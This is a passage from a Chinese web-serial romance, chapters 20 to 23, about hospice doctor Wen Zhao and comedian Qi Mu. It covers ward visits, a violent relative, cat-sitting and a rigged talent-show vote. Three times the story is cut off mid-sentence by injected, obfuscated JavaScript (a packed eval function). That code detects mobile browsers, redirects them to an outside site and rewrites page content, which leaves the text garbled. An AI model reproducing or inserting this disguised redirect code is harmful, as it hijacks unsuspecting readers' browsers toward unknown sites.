简单的收拾了下,她拿起包走出了门,自我安慰着:“还是上班好,工作使人麻木!” 她轻点着头,按下电梯按钮,门渐渐合上。 就在电梯门即将合上的刹那—— 却被一只骨节分明的手强制性打开。 祁慕迈步走进来,穿着居然和梦里极为相似,白衬衫,牛仔裤。温昭侧头看着他,微微分开的碎盖发,遮着眼睛。 她的视线从他的眼睛慢慢移到鼻尖最后落在唇瓣上,看起来柔软的弧度,让她看的几乎入了神。 “看什么呢?”祁慕的声音在安静的电梯内响起。 “没什么。”她慌忙别开脸,耳根烧得发烫。 祁慕感受着电梯里并不闷热的温度,又瞥见温昭的脸颊,像是熟透樱桃,忍不住关心地问道:“你没事吧?” 温昭摇了摇头,恨不得找个地缝钻进去。 她现在满脑子都是昨晚那个羞耻的梦,哪敢直视当事人啊!更不敢说话! “叮——” 电梯门打开的一瞬间,温昭就溜了出去。 祁慕甚至没反应过来。 - 医院安静的氛围也让温昭的心渐渐平静下来。 她来到了106病房,病床上坐着一位阿兹海默症患者,也就是大家口中的的老年痴呆。老人很可怜,女儿很早就不在了,女婿另娶了,只有个还在读书的外甥偶尔来看张望。 “外婆。”温昭柔声唤道。 老人迟缓地转过头,眼神陌生又茫然,只停留了一秒, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286423|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又呆呆地望向窗外。 温昭从口袋里掏出一本手工制作的回忆录,这是之前老人外甥来探望时,她特意收集整理的。 “外婆,看看这个。”她轻声说。 老人再次转过头来,眼神依旧很迷茫。 温昭像讲故事一样跟老人娓娓道来,她仔细地观察着老人的神情,渐渐有了焦距,虽然依旧记不起来,但至少听得入神。 这就够了。 她嘴角微微上扬,继续翻动着回忆录。能让老人暂时从混沌的世界里获得片刻安宁,就是她做这一切的意义。 …… 温昭合上回忆录:“外婆,今天先讲到这儿,明天我再来讲给您听,好不好?” 老人迟缓地点点头,顿了顿。 她颤巍巍地拉开床头柜抽屉,在里面摸索了一会儿,掏出一颗水果糖。布满皱纹的手拉住温昭的指尖,将糖果轻轻放在她掌心。 糖纸在阳光下折射出彩色的光晕,温昭轻轻一笑,握住了老人的手。 “谢谢外婆。” …… 温昭将老人扶下休息后,悄悄关上了病房门。 看了眼查房单,只剩下113病房了。温昭在门口张望了一下,见祁慕不在,只有护工陈琳在陪床,这才放心地走进去。 “外婆。” “温医生来啦!”陈琳热情地招呼道。 温昭走到刘婧病床边上:“外婆,护士说您最近胃口不好,是饭菜不合口味吗?还是又疼了?” “老太太是担心孙子了。”陈琳插话道。 刘婧摆摆手,脸上的皱纹舒展开来:“我没事,就是担心我那孙子。”她叹了口气,说着,“其实刚开始啊,很反对他干这行。在我生病之前啊,他几乎一年就回来个三四次,每次回来只待一天。好几次我都撞见他在吃安眠药……” 温昭愣了楞,心头一紧:“安眠药?他…失眠很严重吗?” “刚开始那会儿,这行当竞争多激烈啊。他为了出头,没日没夜地熬。后来有点名气了,钱是赚着了,但又经常生病。就像上次,我早看出来他生病了,在那憋着咳嗽,但我看他没说我也就没问,怕他担心。”老人声音哽咽,“你都不知道,我这心里啊,跟针扎似的疼……” 温昭听得心头发酸,不自觉地放柔了声音:“外婆您放心,只要您好了,他才能放心啊!您不知道,前几天放假,我偶然去看了他的表演,他…讲的特别好,而且大家也很喜欢他,他也有好好照顾自己,所以您呀就放宽心,安安心心养病,要是有什么不舒服就告诉我。。” “你说你去看他演出?”刘婧眼前一亮。 “嗯,您都不知道……”她绘声绘色的描述,连一旁的陈琳都听得入了迷。 而谁也没注意到,病房门口不知何时多了一道修长的身影。祁慕站在门外,透过玻璃看着温昭笑着讲着关于他的一切,嘴角轻轻地上扬。 他歪着头,看得越发认真,笑得也越发宠溺。 …… 他在门外站了很久很久,直到里面的笑声渐渐低下去,才轻轻推开门。 温昭听到动静后下意识回头。 祁慕的目光在她脸上停留了一秒,便径直走向病床。 看到他的瞬间,温昭愣了一秒—— 他什么时候来的? 她看着祁慕自然地坐到病床边,随即,慌忙站起身,衣摆跟着晃了晃。 “那外婆,那你们先聊。” 刘婧点点头:“昭昭,今天谢谢你啊。” 温昭胡乱摇摇头,又看了一眼坐在病床上的那个背影,快步往外走。那个荒唐的梦让她现在看到祁慕就心跳加速,脸颊发烫。 说的直白点,就是心虚。 祁慕坐在床上,余光瞥见那个仓皇离去的背影,微微皱眉,只觉得奇怪。 温昭关上病房门,长长呼出一口气。 从昨天到现在,她已经在心里把林晚吐槽了八百遍,顺带也骂了自己几句不争气。 冷静下来后,她微微回头,透过门上的玻璃窗往里看。祁慕正握着刘婧的手轻声说着什么,老人脸上立马露出了欣慰的笑容,眉眼渐渐舒展开来。 这温馨的一幕让温昭也不自觉地跟着扬起嘴角。 她低头笑了一下,看了几秒,便离开了。 21. 第21章 病房里,祁慕灵活地转动着水果刀,苹果皮连成长长的一条垂落。 “外婆,好了。”他将削好的苹果递过去,果肉米白,散发着清甜的香气。 刘婧接过苹果,嗔怪道:“你呀,不用天天往这儿跑。有你陈姨照顾着呢,你就安心工作去。” 祁慕随手把水果刀搁在床头柜上:“前几天刚演出完,正好有空。我不来陪您,我一个人在家还挺无聊的。” 刘婧咬了口苹果,想起些什么,微微直起身:“我听温医生说,她也去看了你演出?那她是你粉丝?” 祁慕手上的动作顿了顿,轻轻摇头,声音里带着几分无奈的笑意:“不是。” ——是我特意把人给邀去的…… 他在心里默默补完这句话。 缓了缓又开口:“奶奶,您就那么喜欢温医生啊?每次我来您都念叨她。” “那可不!”刘婧轻拍了下被子,“人家温医生长的好看,人又温柔,最重要的是心肠好!那天我问了那么多人,只有她主动来帮我,还搀着我去就诊室,现在又那么心细的照顾我!” 祁慕低着头,想起自己发烧那次。明明说了没事,她却执意把他塞进车里送去医院。 确实…很好。 “要不是你工作太忙,我怕委屈了人家小姑娘,我还真想让她当我外甥媳妇!” 祁慕闻言抬头,正对上老人促狭的目光。他低笑出声,眼底闪过一丝温柔。 - 中午吃完饭,温昭正在休息室里写着报告。 敲门声突然响起。 苏晴走了进来:“昭昭,门外有个人找你。” “好,我马上来。”温昭盖上笔帽,将报告合上,走了出去。 护士站边上站着一个男生,穿着校服,低着头,双手搭在护士台上。这是106病房那位阿兹海默症老人的外甥。这个时间点,按理说学生应该都在上课。 温昭走了过去:“找我有什么事儿吗?” 男生转过身,校服松松垮垮地挂在身上:“前段时间没有空来,想问问奶奶怎么样?” 温昭斟酌着用词:“老人家的记忆衰退比较明显,精神状态也不太稳定。”她注意到男生神情看起来很落魄,声音放柔,“不过今天还不错,我把你之前发的照片和故事做成了回忆录,她听得很入神。” 男生的肩膀明显放松:“……谢谢。” “没事,”她顿了顿,又说:“这个时间病人应该在午休,你可以在这儿逛逛或者悄悄地进去看看。” 男生依旧点点头。 苏晴再次走来,轻轻碰了碰温昭的手臂:“上班啦!” 温昭会意,对男生温婉一笑:“别太担心,我们会尽全力照顾好她的。” 男生轻轻“嗯”了一声。 …… 温昭坐在会诊室内,今天是早班,下午她通常要和病人家属开家庭会议,沟通病情。 “温医生,”护士苏晴推门进来,压低声音道,“16床的家属来了,但是……”她欲言又止,“情况有点复杂。” “让他们进来吧。” 门再次打开时,进来的是一对中年夫妻和一位女孩。 女人一进门就红了眼眶:“医生,我妈的病真的没救了吗?” “您先别急,依照病人现在的情况,可以按照常规救治,但是病人会很痛苦。”她指了指电脑上的CT图像,“癌细胞已经大面积扩散,再加上病人长期过度劳累,我们建议采取温和治疗,尽量减少病人痛苦。” 她顿了顿又说:“当然我们还是要看家属的意见!” “听听!我就说这种情况没必要再花钱了!”男人拍了拍桌子,“什么温和治疗,不就是让我们在这儿干等着老人咽气吗!” 温昭听到这段话眉头紧皱。 男人看起来是女人的丈夫,可怎么能说出这种话。更让她心寒的是,一旁的女人只是低头抹泪,竟没有出声反驳,毕竟是自己的母亲。场内只有那个看起来不过八九岁的女孩在角落里小声抽泣。 “这位家属,”温昭站起身,“临终关怀不是放弃治疗。我们会用药物控制疼痛,让病人有尊严、无痛苦地走完最后一程!” “少在这唱高调!”男人不耐烦地抖着腿,又是一掌拍在桌上,“到头来不都是个死?花这冤枉钱干嘛!” 温昭刚要开口劝解。 女人突然抬起头,眼泪啪啪地掉:“你还是人吗?我妈当年给你买房凑首付的时候,你怎么不说花钱了?!”她继续说着,“这钱你不出我出,这病你不治,我治!” 男人脸色瞬间阴沉,嘴角扯出个冷笑:“行,你出吧,反正钱都在我这儿,我一分都不会给你!” “你就是畜生!”女人哭喊着。 “你他妈再说一遍。”男人猛地逼近,扬起巴掌。 温昭和苏晴见到情况不对,立刻冲上前,温昭从男人身上闻到了很重的酒气。 “这位先生,请冷静!这里是医院!” 小女孩扑过来想拉住父亲,却被男人一把推倒在地,发出一声闷响。女人想去扶孩子,手腕却被男人死死钳住,肉眼可见地发红。 “苏晴!”温昭急声喊道,示意苏晴扶起小女孩。 “先生!请冷静!”温昭试图将男人的手从女人那儿扒开。 男人力气大得惊人,温昭好不容易扒开他的手,女人却因惯性摔倒在地。温昭自己也踉跄几步,手腕重重磕在瓷砖开裂的锋利边缘上。 “嘶——”她倒抽一口冷气,只见白皙的手臂上瞬间浮起一道红痕,鲜血顺着伤口缓缓渗出。 强烈的动静让在隔壁的几个医生也推门直入,与此同时,苏晴带着保安也来了。男人见状,仍不甘心地瞪着女人,也瞥向温昭流血的手腕,眼神阴狠得可怕。 温昭扶起跌坐在地上的女人,将她安坐在椅子上:“没事吧?” 小女孩早已吓哭,一头扎进母亲怀里。 女人抹着眼泪,声音发颤:“刚结婚那会儿他明明很好的。后来染上酗酒赌博,欠了一屁股债。每次都说会改,可是到头来,还是这样。现在连我妈的医药费他都不想付。”随后她立马抓起温昭的手,“医生,我们治,你帮我安排一下,我不想让我妈痛苦的离开……” 温昭动容着点头:“放心吧。” 走出诊室,苏晴急匆匆追上来:“昭昭,你先去处理一下吧。” 温昭低下头,这才注意到手腕上的血迹还在流,她点点头往休息室走去。碘酒棉球触到伤口的瞬间,刺痛让她不自觉地“嘶”了一声。 伤口不算深,但细长的红痕在白皙的手腕上格外刺目。她娴熟地缠上纱布,系好。 她站起身,继续去工作,白大褂的袖子落下,遮住了那道伤痕。 - 暮色四合,夕阳洒落在了小区露天车库的敞篷上,泛着橘色的暖光。 温昭猛地拔下车钥匙,手腕顿时传来一阵刺痛。她皱了皱眉,轻轻揉了下手腕,这才想起自己受伤的事情。 走到电梯口,祁慕站在那儿,估计也是刚回来,脸上尽是疲惫。他单手插着兜,转眼看她,目光自然地扫过她,随后刚要低下头,就看到了手腕上的纱布。 “你手怎么了?” 温昭下意识把手往后藏了藏:“没事,不小心划了一下。”又欲盖弥彰地补充,“小伤。” 祁慕不由分说地抓住她的手腕,动作强势却不失温柔。 “你干嘛?”温昭想抽回手,却被他牢牢握住。 他没说话,只是轻轻掀起纱布一角。伤口还没完全结痂,纱布上还渗着淡淡的血痕。 “这就是你说的不严重。” 温昭被他看的有些紧张,挣开他的手,低下头:“真的还行……” “上过药了吗?” “嗯。” “怎么弄的?” “就…不小心。” 祁慕盯着她看了几秒,见她眼神闪烁,明显在撒谎。但看她没想说,也就没多问。 温昭偷偷瞥向身侧。 脑海中又响起今天那个男人说的话—— “到头来不都是个死?花这冤枉钱干嘛!” 那个男人是为了钱,那祁慕呢? 她想起之前在脱口秀上,他吐槽临终关怀时毫不掩饰的厌恶还有讥笑的嘴角。 他…为什么也对这个职业有这么大的误解? 这个问题逐渐在她心中盘旋。 “你……”她犹豫着开口,“刚开始…为什么那么讨厌临终关怀?” 祁慕明显怔住了,像是没想到她会突然问这个,眼神晦暗不明。 “叮——” 电梯到了一楼,两人前后脚走了进去。 密闭的空间里,祁慕依然沉默。 温昭看着不断跳动的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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等到祁慕起身,她才猛地别过脸去,低下头,不用看镜子都知道自己脸上的色泽,身体的温度已经在向她发出警告。 “你脖子怎么红了?” “你…你能不能好好穿衣服?”温昭盯着自己的脚尖。 祁慕低头看了眼大开的领口,舌尖舔了下嘴唇,突然笑了:“就这版型。” 温昭瞪大眼睛—— 什么叫就这版型,当上面两个扣子是摆设吗??? “怎么,害羞了?” “……没有。” 祁慕低笑一声,那笑声就像小猫挠过心尖,让温昭全身发麻。 “坐下。” “干嘛?” “给你上药!” “我自己可以。” 祁慕不由分说地按住她的肩膀,力道刚好让她无法挣脱。 温昭全身僵硬,任由他摆布。 他拧开碘酒药瓶,棉签轻轻蘸取,动作轻柔地涂在伤口上。他低垂着眼眸,睫毛煽动着,神情专注地涂着,而后轻轻吹气。 温昭不受控制地抖了一下。 “疼?”他突然抬头,目光直直撞进她眼里。 温昭摇了摇头:“不疼……” 祁慕剪下一段纱布,轻轻裹住伤口。他低头用牙齿咬住纱布一端,灵活地打了个结。温热的气息轻轻拂过她手臂的肌肤,激起一阵细微的战栗。 “好了。” 他抬起头,湿湿的唇边还沾着一点纱布的纤维。 “……谢谢。” 他把碘酒和棉签塞进她手里,见她还在发愣,挑眉道“还不走?”他俯身凑到她耳边,盯着她泛红的耳尖,温热气息喷洒在那片肌肤上,“还是说想留宿?” 温昭敏感的耳垂一抖,慌忙跑到门外,走到门口又想到什么。 她转过身,丢下一句:“晚安。” 而后立马关上了门。 她靠在门背上,低头看着手里的碘酒瓶、棉签还有手腕上的那个结,忍不住抿嘴笑了笑。 22. 第22章 前夜的雨声淅淅沥沥,一直持续到清晨五六点钟,很助眠,温昭睡得格外踏实。 起床后,她像往常一样煎了个牛肉片,夹在烤得金黄的面包片里。刚把三明治端上桌,准备坐下,门外就响起了一阵敲门声。 打开门,祁慕已经戴好口罩,头上戴着顶白色的渔夫帽,和温昭第一次见他的时候一样。他怀里抱着芝麻,小家伙正舒服地窝在他臂弯里,瞥头看向她。 “有什么事吗?” “我要出去拍三天综艺,芝麻不方便带去,单独在家又不放心……” “所以……”温昭看着他。 “所以你要不要帮忙照顾?”他看了眼怀里的猫,“反正这小家伙看起来挺喜欢你的。”芝麻的爪爪伸向温昭。 她自然是乐意的,她打心眼里很喜欢小动物,特别是毛茸茸的这种。 “好。” 接过芝麻的瞬间,小家伙立刻在她怀里找了个舒服的位置,毛茸茸的脑袋蹭了蹭她的手臂。 祁慕的目光却落在她手腕的纱布上:“换过药了吗?” “嗯。” “伤口记得别碰水。” “……知道了” “哦对了,”他松开手,转身从屋里拖出一大袋东西,“猫粮、猫砂、零食,上面都写了用量。要是把我儿子饿瘦了……” “知道了知道了!”温昭赶紧打断他。 ——好啰嗦。 “行,那我先走了。” “好。”她顿了顿,又说,“注意安全。” 祁慕刚要迈进电梯,却又转过身来:“记得每天给我发照片!” “嗯——”温昭拖长音调应着,这人怎么跟送孩子上幼儿园似的。 等电梯门彻底合上,温昭才抱着芝麻回到屋里,小家伙粉粉的肉垫在她手臂上踩来踩去。 “你爸爸可真啰嗦!”温昭点了点芝麻湿漉漉的小鼻子,忍不住笑出了声。 …… 下午,温昭检查完最后一个病人的评估表,走出了病房,伸了个懒腰。 她摸出手机,微博推送正好跳出来—— #祁慕抵达京海录制脱口秀4#热 配图是他戴着黑色口罩和棒球帽的机场图,只露出一双标志性的瑞凤眼。 评论区几乎全是“老公好帅”,“宝宝录制顺利”的评论。 自从上次演出结束后,他的人气又上了一层,粉丝量已经突破了三千万。她划拉着屏幕,继续看着那些站姐拍的机场图。 “昭昭!” 温昭循声转过身,林晚正向她跑来。 “你怎么来了?你今天不是上班?”温昭把手机塞回口袋。 “刚谈完合作项目,老板批准放假三天!”她脸上全是解决工作的兴奋,又说,“什么时候下班?” “还有……”温昭看了眼表,“十七分钟。” “行,那我去门口转转,你下班给我发信息,我们去吃饭!” “好。” …… 换完衣服,温昭就给林晚发了条微信。 【我好了,你在门口等我一下。】 信息很快回复:【OK】 走到医院自动门前,林晚正坐在长椅上玩着手机。温昭走过去轻拍她肩膀:“走吧!”又问,“去哪吃?” “南城路边上新开了一家餐厅,我们去试试?” “好。” 雨后初晴的傍晚格外清爽,柳枝上还挂着晶莹的水珠,两人沿着江边慢慢走着。 转角处就是那家烤肉店,木质门框上挂着风铃,温昭推门而入,风铃发出清脆的声响。店内诧寂风的装修别具一格,原木色的桌椅搭配着水泥墙和几块布料,简约却又不失格调,浓郁的烤肉香气混合着特制酱料扑面而来。 她们随便挑了一处地方,坐下。 “滴——” 扫码成功后,林晚手机屏幕上立刻跳出点餐页面。 “昭昭,你要吃什么?” “我都行,你看着点吧。” 林晚麻利地点完单,手机往桌上一扣,双手托腮直勾勾地盯着温昭,眼睛能冒出火星来。温昭被她盯得浑身不自在,不自觉往后退了退。 “你干嘛这样看着我?” “上次教你的‘十秒法则’,试了没?” 还说呢,就因为那个破法则,她那一天看到祁慕就跟看到了什么一样,脸都没了。 “没。”她回答的果断,顺手拿起一边的水杯猛灌一口。 林晚啧了一声:“不是吧温昭昭!你怎么那么怂啊!” “你疯了还是我疯了,我盯着人家看10秒钟,人家不以为我是变态?再说了……”她耳根发烫,“我又不喜欢他,试这个干嘛!”她声音越来越小。 “行行行——”林晚拉长声调,又想到什么,眼睛一亮,“要不你对着许汀州试试?” “林晚!”温昭音量微微加大加大。 “错了错了,错了嘛!。”她话锋一转,“对了,最近几天我去你家住。” “啊?为什么?” “楼下装修,电钻声从早响到晚,”林晚可怜巴巴地撇嘴,“我都三天没睡好了,你看我的黑眼圈!”她指了指眼下,抓起温昭的手摇着,“你就当可怜可怜我嘛!” 温昭看着她夸张的表演,无奈扶额:“……行吧,你只要安分点就行。” “一定安分!”林晚立刻举手发誓。 桌上的肉加起来还有将近一盘,但两人都很撑了。这家烤肉店虽然装修别致,但是肉质真的很一般,温昭叹了口气,果然有些时候还是不能相信网上。 温昭走在路上,夜风吹散了身上的烤肉味。走着走着,她想起什么,打开了手机。 微信图标上明晃晃挂着个红圈,点开一看,五条未读消息齐刷刷来自同一个人: 7:【我要看我的猫。】 7:【照片拍给我。】 ——隔了二十多分钟后 7:【温昭,我猫呢?】 7:【你把它怎么了?】 7:【回信息!】 温昭停下脚步,倒吸一口凉气。 完了完了!她完全忘记家里还有个毛茸茸的小祖宗在等着。虽然早上出门前放了猫粮,但她居然忘了—— 它还有个爸! “怎么了?”林晚好奇地凑过来。 温昭二话不说把手机塞回包里,拽起林晚的手就跑:“快回家!” “哎哎哎!”林晚被她拽得一个踉跄,“干嘛呀!?” …… 还好路不算远,很快就到家了。 只是可怜了林晚跟在身后直喘气:“你、你不是医生吗…知不知道…饭后不能……剧烈运动啊!” 温昭顾不上回答,手忙脚乱地掏钥匙开门。一进屋就看到芝麻正优雅地趴在猫窝上舔爪子。 她小跑过去,像完成任务一样,一顿猛拍。 林晚慢悠悠走过来。 “哇!”林晚眼睛一亮,蹲下身摸猫,“昭昭你什么时候养的猫?这么可爱!” “不是我的。”温昭头也不抬地点开微信。 “那谁的?” “祁……”温昭下意识回复,可马上意识到什么,她手顿了顿。 林晚发觉不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286425|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对劲,立刻站起身,促狭地眯起眼睛:“祁什么?该不会是祁慕的吧?” 温昭眼神飘忽,不自觉地咽了咽口水:“不是…祁、亲戚朋友的。” “嘶——”林晚夸张地倒吸一口气,“我怎么不知道你在星海还有亲戚朋友?” “远房的.……”温昭声音越来越小,低头把刚拍的照片一股脑发给祁慕。照片里芝麻正歪着头,一脸无辜地看着镜头。 林晚一把抱起软乎乎的猫咪,坐到沙发上:“诶,那它叫什么名字?” “芝麻。”温昭摁灭手机,也跟着坐下。 “芝麻?”林晚嫌弃地皱起鼻子,手指挠着猫咪的下巴,“谁取的名字,这么难听。” 是吧!温昭一开始也这么认为。 这么软萌的猫猫,摊上了个这么不会取名字的爹,真是委屈死了。 “当然是它……”温昭顿了顿,继续说,“家长!” 话音刚落,怀里的芝麻突然“喵”了一声,像是也同意两人的话语。林晚本来还想问些什么,但芝麻在她怀里翻了个身,露出毛茸茸的小肚皮,成功转移了她的注意力。 - 京海广电的化妆间里,祁慕正闭着眼睛让化妆师上妆,手机却在一边“叮咚叮咚”响个不停。 他划开屏幕,十几张芝麻的照片刷地跳出来。 ——小家伙或趴或躺,很有镜头感。 最底下还附了行字: 温医生:【不好意思,手机在充电,没看见。】 祁慕给她发信息的时候刚好是六点钟,可温昭八点半才刚刚回复。说是在充电,谁信啊,他忍不住笑出声,眼角的弧度让化妆师不得不停下刷子。 陶逸兴看到他,凑过来好奇地问了一嘴:“谁给你发的信息?笑这么开心?” “一个…小骗子。”祁慕把手机一扣,眼底的笑意却藏不住。 但转念一想,她这么晚才回消息,该不会又跟那个青梅竹马在一起? 想到这儿,祁慕的脸色瞬间晴转多云,嘴角的弧度一下子绷得笔直。 陶逸兴看着他这变脸速度,不用猜都知道因为什么。 等化妆师一走,陶逸兴才敢问出来他憋了好久的问题:“喂,你跟温医生什么情况?” “什么什么情况?” “我认识你28年,我可不傻,你那点心思还想瞒过我?” 祁慕低下头。 “我问你一个问题啊!”陶逸兴顿了顿,正经地说,“你就……不介意她的职业吗?” 化妆间的空气突然安静。 祁慕抬起头,深邃的目光在陶逸兴脸上停留片刻,又缓缓垂下。 “说实话,那天送外婆去临终关怀科室前,我考虑了很久。甚至我还特意上网查了查。直到我见到温昭后,我也不敢把外婆交给他们。” “可你知道吗,”他语气温柔到骨子里,“那一天我跟在她身上,看见她进了一个病房,里面的人吐得不成样子看见,结果她不但没有一丝一毫的嫌弃,依旧耐心、温柔、专业……所以我尝试着把外婆交到她手上。” “事实证明我做了对的选择。” 他扯了扯嘴角,露出个自嘲的笑:“其实有些时候我都在想,可能我讨厌的根本不是这个职业,而是……” 而是那些自诩医生,但却将病人的生命视如草芥的人…… 他没有继续往下说。 化妆镜里,他的侧脸线条紧绷,眼底翻涌着伤感的情绪。 …… “祁老师,”工作人员推门而入,“我们要准备录制了。” 祁慕转过头,冷冷地点头。 23. 第23章 《脱口秀4》的演播厅里,灯光还未全部打开。 这档节目是国内最火的喜剧竞技节目,吸引了无数怀揣梦想的选手。三年前,祁慕就是从这里一战成名,从默默无闻到登顶冠军。至今,他那段决赛视频仍以6000万的播放量高居四季榜首。 他在评委席落座。 “祁老师,再补下妆。” 化妆师走上前,粉扑在他棱角分明的脸上轻轻拍着。 “3——” “2——” “1——” 倒计时结束,舞台灯骤然打亮全场。 “欢迎来到《脱口秀4》的舞台!”主持人齐嘉瑞踏着音乐节奏走到舞台中央,西装革履,笑容灿烂,“我是你们的老朋友小齐……” 祁慕坐在座位上,面无表情地鼓着掌,动作里没什么情绪。 一个接一个选手上台表演,已经过去了十位选手,可祁慕面前的灯至今还未亮过。他低垂着眼眸,神色淡漠,手指摩挲着手腕上的银色手链。 下一个选手上台了—— “大家好,我是11号选手。”台上的青年嘴角噙着笑,一字一顿地说,“祁、子、航。” 这三个字像被刻意放大了音量,格外清晰地钻进祁慕耳朵里。他手指一顿,缓缓抬眼,目光锐利,正对上对方挑衅的视线。 祁子航。 他同父异母的弟弟。 他的面色变得更冷,身体往后一靠,十指交叉随意搭在腿上,眼睛死死锁住台上的人,带着令人不寒而栗的危险。 而站在后台的陶逸兴听到这个名字,猛地从手机里抬起头。透过人群,他难以置信地望向舞台。 他自然也是知道祁子航的。 “今天主要是想来跟各位老师唠唠关于……”祁子航的声音通过话筒音响传遍全场。 与此同时,祁慕的耳机里响起导演急促的指令:“所有评委注意,这位选手讲完后统一亮灯。” 祁慕皱起眉,嘴角扯出一抹冷笑—— 就这种水平还想晋级? 看来祁清远这次是下了血本。 《脱口秀4》的评委名单早在一个月前就在网上传得沸沸扬扬。 那个所谓的父亲,自然也知道,早在半年前就打过电话—— “你弟弟也想走这条路,你带带他。” 当时祁慕直接挂断了电话,连句废话都懒得说。 但没想到祁子航还是来了。 自从十六岁那年他被送到外婆家后,祁慕就和祁家彻底断了联系。祁清远从未找过他,而他也不需要那份虚伪的亲情。直到他在脱口秀圈一炮而红,那个男人才又腆着脸凑上来,摆出一副慈父模样,想想就让人作呕。 “谢谢各位!”祁子航讲完了。 他环顾四周,其他四位评委的灯已经齐刷刷亮起。他冷笑一声,修长的手指在按钮上方悬停片刻,最终还是收了回来。 他有自己的原则—— 讲得好,就算是仇人他也会给灯; 讲得烂,亲爹来了也没用。 …… 耳机里导演的催促声越来越急,祁慕却置若罔闻。 按照赛制,评委有10秒思考时间决定是否亮灯。 主持人在一旁倒计时: “9——” “8——” “7——” …… 祁慕就这样看着他,眼神冷到极点。 而对方却也是眉头紧皱地与他对峙,空气中仿佛有无形的火花在噼啪作响。 “4——” “3——” 就在这时—— 祁慕面前的灯突然自动亮了起来。 他猛地挺直脊背,满脸震惊,难以置信地看向导演席,可只看到一群人眼神躲躲闪闪的。 台上的祁子航明显松了口气,鞠躬时嘴角勾起胜利的弧度。 …… “来我们休息一下。”导演拍拍手。 祁慕第一时间就冲到导演边上:“我灯怎么回事?我明明没有按下按钮。” “小慕啊,不是说了让你按吗?耳机出问题了?” 祁慕皱起眉头:“是你们操控的?” 导演在他耳边压低声音:“有人非要保他,我也没办法……”说完就匆匆走开了。 “操!” 祁慕愤怒地踢了一脚旁边的椅子,喘着粗气,拳头攥得发颤。 “阿慕!”陶逸兴小跑过来,“什么情况?你真给灯了?” “就他也配?”祁慕冷笑着,眼底翻涌着黑沉沉的怒意,“祁清远干的好事。” “你爸?!” 陶逸兴顿时了然。 祁清远是悦海娱乐的老板,想操控个比赛结果还不是易如反掌的事儿?看来之前那通电话,不过是为了让这场黑幕看起来体面些。 毕竟没人知道他们的关系。 在灯亮起的那么一瞬间,祁慕真想当场摔了耳机走人。但在这个圈子里混了这么多年,他太清楚这么做的后果,轻则被行业孤立,重则直接被封杀。 理智告诉他不能这么做。 也在这时,身后传来了一阵脚步声。 随后—— “哥。”一个声音响起。 祁慕瞥过头。 祁子航正朝他走来,脸上挂着虚伪的笑容,看着就恶心。 “好巧啊。” 祁慕冷哼一声,连个正眼都没给他。 “我真没想到你会按下按钮,”祁子航轻笑一声,走近了一步:“我还以为……” “以为什么?”祁慕打断他,“就你那破段子,也配我亲手按灯?” 祁子航脸色骤变:“你什么意思?” 祁慕看他这反应,心里冷笑—— 看来这小子还不知道真相,正好,省得他多费口舌。 他想起小时候还在祁家那会儿,祁子航天天卯着劲学习,一门心思想压过他。可功利心太重也不是好事,中考那年,就因为太紧张考砸了,名次刚好排在他后面,让祁子航气愤了很久;还有次运动会,他报了1500米,祁子航也跟着报了1500米,本想耍小聪明,结果还是被祁慕赶超。 这次祁子航来参加节目,估计还是那点心思—— 证明比他强。 “意思就是,”祁慕双手插入裤子口袋,“回去问问你那个好爸爸,为了给你这个废物铺路,他给节目组塞了多少钱?” 他刚准备走,又停下脚步,侧过半边脸。 “对了,”他嘴角挂着点怜悯的笑,像是看着什么可怜虫,“记得替我谢谢祁总,让我免费看了场这么精彩的……” 他故意拖长音调,上下打量着祁子航,眼底闪过一丝讥诮:“……马戏。” 轻飘飘的两个字,却像一记耳光,让祁子航瞬间涨红了脸。 没等祁子航回嘴,祁慕就已经转身走了。 陶逸兴在旁边偷笑:“喂,阿慕你也太狠了吧!” “他巴巴地跑过来,不就是想嘚瑟么!” 祁慕冷笑一声。 想起他自己当年参加第一季时,发着39度高烧站在台上,失误了一下只拿到两盏灯。后来是靠复活赛硬生生杀出重围。 而现在这个所谓的弟弟,不就是想炫耀五盏灯的战绩,证明比他强么? 只可惜了,那些灯啊,没一盏是他自己靠实力取得的。 祁慕轻笑着摇头:“真是傻的可笑!” 祁慕的背影刚从走廊尽头消失,祁子航就气得浑身发抖,手忙脚乱地掏出手机。 “是你做的吗?”电话一接通他就劈头盖脸地质问。 “航航,你在说什么呢?” “我问你,你是不是你让导演组给我亮灯的?!” 电话那头沉默了几秒,才慢悠悠地说:“航航,爸爸这都是为你好……” “够了!”他几乎是吼出来的,引得路过的工作人员纷纷侧目。 他也顾不上这些,狠狠按断了通话。 他靠在墙上,慢慢滑坐在地。 他本来是想凭真本事证明,自己比那个所谓的哥哥强。可现在倒好,成了个天大的笑话。 更讽刺的是,最后居然还是靠他最厌恶的方式—— 走后门。 而且他居然还傻乎乎地跑到祁慕面前去炫耀…… “祁、慕!” 他死死地念着这两个音节,眼底爬满血丝,通红得吓人,指甲嵌入掌心,留下几道深红的月牙痕。 